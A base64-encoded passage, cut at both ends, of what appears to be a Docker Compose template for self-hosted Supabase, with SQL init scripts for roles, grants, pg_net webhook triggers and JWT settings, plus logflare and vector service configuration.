cbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbi0tIEV2ZW50IHRyaWdnZXIgZm9yIHBnX25ldFxuQ1JFQVRFIE9SIFJFUExBQ0UgRlVOQ1RJT04gZXh0ZW5zaW9ucy5ncmFudF9wZ19uZXRfYWNjZXNzKClcblJFVFVSTlMgZXZlbnRfdHJpZ2dlclxuTEFOR1VBR0UgcGxwZ3NxbFxuQVMgJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX2V2ZW50X3RyaWdnZXJfZGRsX2NvbW1hbmRzKCkgQVMgZXZcbiAgICBKT0lOIHBnX2V4dGVuc2lvbiBBUyBleHRcbiAgICBPTiBldi5vYmppZCA9IGV4dC5vaWRcbiAgICBXSEVSRSBleHQuZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VUIHNlYXJjaF9wYXRoID0gbmV0O1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfZ2V0KHVybCB0ZXh0LCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIEZST00gUFVCTElDO1xuICAgIFJFVk9LRSBBTEwgT04gRlVOQ1RJT04gbmV0Lmh0dHBfcG9zdCh1cmwgdGV4dCwgYm9keSBqc29uYiwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBGUk9NIFBVQkxJQztcbiAgICBHUkFOVCBFWEVDVVRFIE9OIEZVTkNUSU9OIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4sIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4gICAgR1JBTlQgRVhFQ1VURSBPTiBGVU5DVElPTiBuZXQuaHR0cF9wb3N0KHVybCB0ZXh0LCBib2R5IGpzb25iLCBwYXJhbXMganNvbmIsIGhlYWRlcnMganNvbmIsIHRpbWVvdXRfbWlsbGlzZWNvbmRzIGludGVnZXIpIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiwgcG9zdGdyZXMsIGFub24sIGF1dGhlbnRpY2F0ZWQsIHNlcnZpY2Vfcm9sZTtcbiAgRU5EIElGO1xuRU5EO1xuJCQ7XG5DT01NRU5UIE9OIEZVTkNUSU9OIGV4dGVuc2lvbnMuZ3JhbnRfcGdfbmV0X2FjY2VzcyBJUyAnR3JhbnRzIGFjY2VzcyB0byBwZ19uZXQnO1xuRE9cbiQkXG5CRUdJTlxuICBJRiBOT1QgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXZlbnRfdHJpZ2dlclxuICAgIFdIRVJFIGV2dG5hbWUgPSAnaXNzdWVfcGdfbmV0X2FjY2VzcydcbiAgKSBUSEVOXG4gICAgQ1JFQVRFIEVWRU5UIFRSSUdHRVIgaXNzdWVfcGdfbmV0X2FjY2VzcyBPTiBkZGxfY29tbWFuZF9lbmQgV0hFTiBUQUcgSU4gKCdDUkVBVEUgRVhURU5TSU9OJylcbiAgICBFWEVDVVRFIFBST0NFRFVSRSBleHRlbnNpb25zLmdyYW50X3BnX25ldF9hY2Nlc3MoKTtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCcyMDIxMDgwOTE4MzQyM191cGRhdGVfZ3JhbnRzJyk7XG5BTFRFUiBmdW5jdGlvbiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KCkgU0VDVVJJVFkgREVGSU5FUjtcbkFMVEVSIGZ1bmN0aW9uIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBTRVQgc2VhcmNoX3BhdGggPSBzdXBhYmFzZV9mdW5jdGlvbnM7XG5SRVZPS0UgQUxMIE9OIEZVTkNUSU9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5odHRwX3JlcXVlc3QoKSBGUk9NIFBVQkxJQztcbkdSQU5UIEVYRUNVVEUgT04gRlVOQ1RJT04gc3VwYWJhc2VfZnVuY3Rpb25zLmh0dHBfcmVxdWVzdCgpIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5DT01NSVQ7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcm9sZXMuc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk5LXJvbGVzLnNxbAogICAgICAgIGNvbnRlbnQ6ICItLSBOT1RFOiBjaGFuZ2UgdG8geW91ciBvd24gcGFzc3dvcmRzIGZvciBwcm9kdWN0aW9uIGVudmlyb25tZW50c1xuIFxcc2V0IHBncGFzcyBgZWNobyBcIiRQT1NUR1JFU19QQVNTV09SRFwiYFxuXG4gQUxURVIgVVNFUiBhdXRoZW50aWNhdG9yIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgcGdib3VuY2VyIFdJVEggUEFTU1dPUkQgOidwZ3Bhc3MnO1xuIEFMVEVSIFVTRVIgc3VwYWJhc2VfYXV0aF9hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBXSVRIIFBBU1NXT1JEIDoncGdwYXNzJztcbiBBTFRFUiBVU0VSIHN1cGFiYXNlX3N0b3JhZ2VfYWRtaW4gV0lUSCBQQVNTV09SRCA6J3BncGFzcyc7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvand0LnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL2luaXQtc2NyaXB0cy85OS1qd3Quc3FsCiAgICAgICAgY29udGVudDogIlxcc2V0IGp3dF9zZWNyZXQgYGVjaG8gXCIkSldUX1NFQ1JFVFwiYFxuXFxzZXQgand0X2V4cCBgZWNobyBcIiRKV1RfRVhQXCJgXG5cXHNldCBkYl9uYW1lIGBlY2hvIFwiJHtQT1NUR1JFU19EQjotcG9zdGdyZXN9XCJgXG5cbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvb